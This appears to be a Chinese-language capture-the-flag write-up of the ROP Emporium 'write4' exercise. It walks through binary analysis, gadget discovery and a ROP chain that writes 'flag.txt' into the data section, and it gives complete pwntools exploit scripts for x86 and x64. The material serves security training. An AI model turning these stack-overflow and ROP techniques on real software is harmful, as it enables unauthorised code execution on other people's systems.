Challenge4_write4

write4

题目链接:https://ropemporium.com/challenge/write4.html

x86

根据题目的提示可知,在本题程序中并没有存在levle2中的字符串,但是题目给了一个重要的信息,就是链接库中存在一个print_file函数,只需要将你希望读取的文件名(如:“flag.txt”)作为第一个参数调用即可。结合后续的提示,我们可以得到如下思路:

将字符串flag.txt从栈上写入到数据段,然后调用print_file函数,并将字符串作为参数传递。如果直接写在栈上,这样就引入了一个难题,我们需要额外在获取栈的地址,所以我们选择写入到数据段,根据readelf可以看到.data有rw权限。

首先还是按流程,先检查下程序保护情况:

1
2
3
4
5
6
7
8
$ checksec ./write432 
[*] '/home/giantbranch/Desktop/rop_emporium_all_challenges/level4_write4/32/write432'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
RUNPATH: '.'

因为有链接库,根据之前的经验,我们直接查看程序中的导入的链接库中的函数:

1
2
3
4
5
6
7
8
$ rabin2 -i write432 
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x080483b0 GLOBAL FUNC pwnme
2 0x000003e0 WEAK NOTYPE __gmon_start__
3 0x080483c0 GLOBAL FUNC __libc_start_main
4 0x080483d0 GLOBAL FUNC print_file

可以看到,·pwnmeprint_file函数均在库函数中,我们加载分析链接库,具体看一下这两个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ r2 -A ./libwrite432.so 
[0x000005a0]> s sym.pwnme
[0x0000069d]> pdg

// WARNING: Variable defined which should be unmapped: var_4h

void sym.pwnme(void)

{
int32_t unaff_EBX;
uint s;
uint var_4h;

entry0();
sym.imp.setvbuf(**(unaff_EBX + 0x194f), 0, 2, 0);
sym.imp.puts(unaff_EBX + 0x14f);
sym.imp.puts(unaff_EBX + 0x166);
sym.imp.memset(&s, 0, 0x20);
sym.imp.puts(unaff_EBX + 0x16b);
sym.imp.printf(unaff_EBX + 0x194);
sym.imp.read(0, &s, 0x200);
sym.imp.puts(unaff_EBX + 0x197);
return;
}

同样,read函数处存在栈溢出漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
[0x0000069d]> s sym.print_file 
[0x0000074f]> pdg

// WARNING: Variable defined which should be unmapped: var_4h

void sym.print_file(int32_t filename)

{
int32_t unaff_EBX;
int32_t *piVar1;
int32_t iStack76;
int32_t iStack72;
uint uStack64;
uchar auStack60 [11];
uint s;
int32_t stream;
uint var_4h;

piVar1 = auStack60;
uStack64 = 0x75b;
entry0();
stream = 0;
iStack72 = unaff_EBX + 0xf0;
iStack76 = filename;
stream = sym.imp.fopen();
if (stream == 0) {
iStack72 = filename;
iStack76 = unaff_EBX + 0xf2;
piVar1 = &iStack76;
sym.imp.printf();
iStack76 = 1;
sym.imp.exit();
}
*(piVar1 + -8) = stream;
*(piVar1 + -0xc) = 0x21;
*(piVar1 + -0x10) = &s;
*(piVar1 + -0x14) = 0x7b6;
sym.imp.fgets();
*(piVar1 + -0x10) = &s;
*(piVar1 + -0x14) = 0x7c5;
sym.imp.puts();
*(piVar1 + -0x10) = stream;
*(piVar1 + -0x14) = 0x7d3;
sym.imp.fclose();
return;
}

这里不得不说一句,还是用IDA反编译看起来比较舒服,这里就当是联系其他的工具吧,技多不压身。

接着我们在看下程序中的函数有哪些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ r2 -A ./write432
[0x080483f0]> afl
0x080483f0 1 50 entry0
0x08048423 1 4 fcn.08048423
0x080483c0 1 6 sym.imp.__libc_start_main
0x0804837c 3 35 sym._init
0x08048440 1 4 sym.__x86.get_pc_thunk.bx
0x080483e0 1 6 sym..plt.got
0x080485b4 1 20 sym._fini
0x08048450 4 41 sym.deregister_tm_clones
0x08048490 4 54 sym.register_tm_clones
0x080484d0 3 31 sym.__do_global_dtors_aux
0x08048500 1 6 sym.frame_dummy
0x0804852a 1 25 sym.usefulFunction
0x080483d0 1 6 sym.imp.print_file
0x080485b0 1 2 sym.__libc_csu_fini
0x08048550 4 93 sym.__libc_csu_init
0x08048430 1 2 sym._dl_relocate_static_pie
0x08048506 1 36 main
0x080483b0 1 6 sym.imp.pwnme

从这里我们可以看到几个有用的函数usefulFunctionimp.print_fileimp.pwnme,后两个我们已经在链接库中看过了,我们再来看下第一个函数:

1
2
3
4
5
6
7
8
9
[0x080483f0]> s sym.usefulFunction 
[0x0804852a]> pdg

void sym.usefulFunction(void)

{
sym.imp.print_file("nonexistent");
return;
}

该函数的作用就是调用print_file,emm,怎么说,也没有那么的usefull😂

其实,这里如果我们用pwndbg来查看函数信息,会有不一样的发现,(在IDA中也能发现):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> info function
All defined functions:

Non-debugging symbols:
0x0804837c _init
0x080483b0 pwnme@plt
0x080483c0 __libc_start_main@plt
0x080483d0 print_file@plt
0x080483f0 _start
0x08048430 _dl_relocate_static_pie
0x08048440 __x86.get_pc_thunk.bx
0x08048450 deregister_tm_clones
0x08048490 register_tm_clones
0x080484d0 __do_global_dtors_aux
0x08048500 frame_dummy
0x08048506 main
0x0804852a usefulFunction
0x08048543 usefulGadgets
0x08048550 __libc_csu_init
0x080485b0 __libc_csu_fini
0x080485b4 _fini

我们可以看到,在0x08048543地址处,有一个叫usefulGadgets的函数,从名字上来看,它能够给我们提供一些有用的gadgets,我们反汇编查看一下:

1
2
3
4
5
6
7
8
9
10
pwndbg> disass usefulGadgets 
Dump of assembler code for function usefulGadgets:
0x08048543 <+0>: mov DWORD PTR [edi],ebp
0x08048545 <+2>: ret
0x08048546 <+3>: xchg ax,ax
0x08048548 <+5>: xchg ax,ax
0x0804854a <+7>: xchg ax,ax
0x0804854c <+9>: xchg ax,ax
0x0804854e <+11>: xchg ax,ax
End of assembler dump.

mov DWORD PTR [edi],ebp是一个很有用的gadgets,它将ebp寄存器的内容移动到地址为(edi寄存器的内容)的地址处,如果我们能把ebp的值设置为rw区域的地址,那么我们就能把ebp里的内容写入到上边。

顺着这个思路,我们就需要找到对ediebp操作的gadgets

1
2
3
4
5
6
7
8
9
pwndbg> rop --grep "pop edi"
0x080485a5 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080485a4 : jecxz 0x8048531 ; les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x080485a3 : jne 0x8048591 ; add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080485a6 : les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x080485a7 : or al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret
0x080485a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080485aa : pop edi ; pop ebp ; ret
0x080485a9 : pop esi ; pop edi ; pop ebp ; ret

0x080485aa处的gadget刚好满足我们的两个要求

接着,我们查找下数据段地址:

1
2
3
4
$ readelf -S write432
...
[24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4
...

0x0804a018就是数据段的起始地址,我们可以构建ROP链了

1
2
3
4
5
6
7
8
9
10
padding					#padding
pop edi; pop ebp; ret #覆盖原来的返回地址,设置寄存器的值
data addr + 'flag' #数据段地址 和 参数‘flag’
mov [edi],ebp; ret #将参数从寄存器转移到数据段
pop edi; pop ebp; ret #设置寄存器的值
data addr+4 + '.txt' #数据段地址 和 参数'.txt'
mov [edi],ebp; ret #将参数从寄存器转移到数据段
print_file addr #print_file函数地址
fake_return addr #预留返回地址
data addr #参数flag.txt在数据段中的地址

完整的exploit代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

p = process('./write432')
e = ELF('./write432')



print_addr = p32(e.plt["print_file"]) #80483d0

flag_addr = p32(0x0804a018) #.data section
flag_addr2= p32(0x0804a018 + 4)

pop_edi_ebp_addr = p32(0x080485aa) # pop edi;pop ebp ;ret

mov_data_addr = p32(0x08048543) # mov dword ptr [edi], ebp ; ret

offset = 44

payload = offset*b'A'
payload+= pop_edi_ebp_addr + flag_addr + b'flag'
payload+= mov_data_addr
payload+= pop_edi_ebp_addr + flag_addr2 + b'.txt'
payload+= mov_data_addr
payload+= print_addr
payload+= p32(1)
payload+= flag_addr

p.sendline(payload)
p.interactive()

执行结果如下:

1
2
3
4
5
6
7
8
9
write4 by ROP Emporium
x86

Go ahead and give me the input already!

> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$

x64

64位与32位思路相同,需要多找一个传递函数参数的gadgets。

完整的exploit代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

p = process('./write4')
e = ELF('./write4')

print_addr = p64(e.plt["print_file"])

flag_addr = p64(0x0000000000601028)

pop_data = p64(0x0000000000400690) #: pop r14 ; pop r15 ; ret
mov_data = p64(0x0000000000400628)# : mov qword ptr [r14], r15 ; ret
pop_rdi = p64(0x0000000000400693) #: pop rdi ; ret

offset = 40

payload = offset*b'A'
payload+= pop_data +flag_addr+b'flag.txt'
payload+= mov_data
payload+= pop_rdi + flag_addr
payload+= print_addr

p.sendline(payload)
p.interactive()

执行结果如下:

1
2
3
4
5
6
7
8
9
write4 by ROP Emporium
x86_64

Go ahead and give me the input already!

> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$